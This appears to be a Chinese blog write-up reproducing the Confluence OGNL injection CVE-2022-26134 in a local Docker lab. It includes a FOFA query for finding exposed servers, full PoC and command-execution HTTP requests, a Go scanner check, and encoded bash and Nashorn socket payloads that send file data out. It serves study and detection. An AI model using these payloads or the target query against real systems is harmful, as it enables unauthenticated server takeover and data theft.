Confluence OGNL表达式注入命令执行漏洞(CVE-2022-26134)

发布时间 2023-08-03 21:07:19作者: lockly

Confluence OGNL表达式注入命令执行漏洞(CVE-2022-26134)

简介

Atlassian Confluence是企业广泛使用的wiki系统。2022年6月2日Atlassian官方发布了一则安全更新,通告了一个严重且已在野利用的代码执行漏洞,攻击者利用这个漏洞即可无需任何条件在Confluence中执行任意命令。

受影响版本

  • Confluence Server and Data Center >= 1.3.0
  • Confluence Server and Data Center < 7.4.17
  • Confluence Server and Data Center < 7.13.7
  • Confluence Server and Data Center < 7.14.3
  • Confluence Server and Data Center < 7.15.2
  • Confluence Server and Data Center < 7.16.4
  • Confluence Server and Data Center < 7.17.4
  • Confluence Server and Data Center < 7.18.1

fofa语法

"Confluence Data Center" && title=="登录 - Confluence"

漏洞环境

执行如下命令启动一个Confluence Server 7.13.6:

docker compose up -d

image-20230803110241147

环境启动后,访问http://127.0.0.1:8090即可进入安装向导,参考CVE-2019-3396这个环境中的安装方法,申请试用版许可证。

image-20230803110838403

注册一个账户申请试用版许可证。注册之后可以申请一个90天的许可证

image-20230803111428578

在这个填写数据库信息的页面,PostgreSQL数据库地址为db,数据库名称confluence,用户名密码均为postgres

image-20230803111859136

之后有一些选择,我选了加载一个示例站点,再次输入注册用的邮箱和用户名,下面的输入前面定义的postgres,然后他让你输入完一个工作空间的名称就完成了配置启动了

image-20230803113311189

漏洞利用

poc发包测试

GET /%24%7B@com.opensymphony.webwork.ServletActionContext@getResponse%28%29.setHeader%28%22X-V-Response%22%2C%22vvv%22%29%7D/ HTTP/1.1
Host: 127.0.0.1:8090
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=15A13C672F837C4DC2D35405A3A1D9C0
Connection: close


image-20230803153031690

规则很简单,添加到自写的poc扫描模块中也能验证成功

func CVE_2022_26134(u string) bool {
	if req, err := request.HttpRequset(u+"/%24%7B@com.opensymphony.webwork.ServletActionContext@getResponse%28%29.setHeader%28%22X-V-Response%22%2C%22vvv%22%29%7D/", "GET", "", false, nil); err == nil {
		if req.Header["X-V-Response"] != nil {
			return true
		}
	}
	return false
}

image-20230803152923428

exp发包请求

使用到的OGNL表达式为${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}.

这里还是比较好理解的,${...}表示这是一个OGNL表达式,它会被服务器解析和执行,然后先定义一个变量a来获取命令执行结果,具体是调用IOUtils类的静态方法toString这样可以将输入流转换为字符串,输入流则是通过调用Runtime类的静态方法getRuntime来获取一个Runtime对象,接着通过调用它的exec方法执行传入的id命令来返回一个Process对象,最后调用它的getInputStream来获取。最后将变量a传入header头X-Cmd-Response中返回

经过url编码之后发包:

GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: 127.0.0.1:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close


可以看到命令正常执行,也可以成功创建文件。

image-20230803113919649

exp变形

但是写入想写入webshell发现不成功,先尝试了一下linux中写文件的几种姿势,但发现都不行写不进去:

echo "hi" | tee test.txt
// url编码后: echo%20%22hi%22%20%7C%20tee%20test.txt
echo "hi" > test.txt
// url编码后: echo%20%22hi%22%20%3E%20test.txt
printf "hi" > test.txt
// url编码后: printf%20%22hi%22%20%3E%20test.txt

尝试base64编码+url编码:

"bash -c {echo,ZWNobyAiaGkiIHwgdGVlIHRlc3QudHh0}|{base64,-d}|{bash,-i}"
"bash%20-c%20%7Becho,ZWNobyAiaGkiIHwgdGVlIHRlc3QudHh0%7D%7C%7Bbase64,-d%7D%7C%7Bbash,-i%7D"

但还是没有成功,没有header头回显。看到GitHub上有使用javascript配合socket来下载的,不过调用了JavaScript的nashorn来引入java的类。不过这个没实现成功。具体可以去这里了解? through the wire

${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("var data = new java.lang.String(java.nio.file.Files.readAllBytes(java.nio.file.Paths.get("id")));var sock = new java.net.Socket(127.0.0.1, 1111); var output = new java.io.BufferedWriter(new java.io.OutputStreamWriter(sock.getOutputStream())); output.write(data); output.flush(); sock.close();")}

参考链接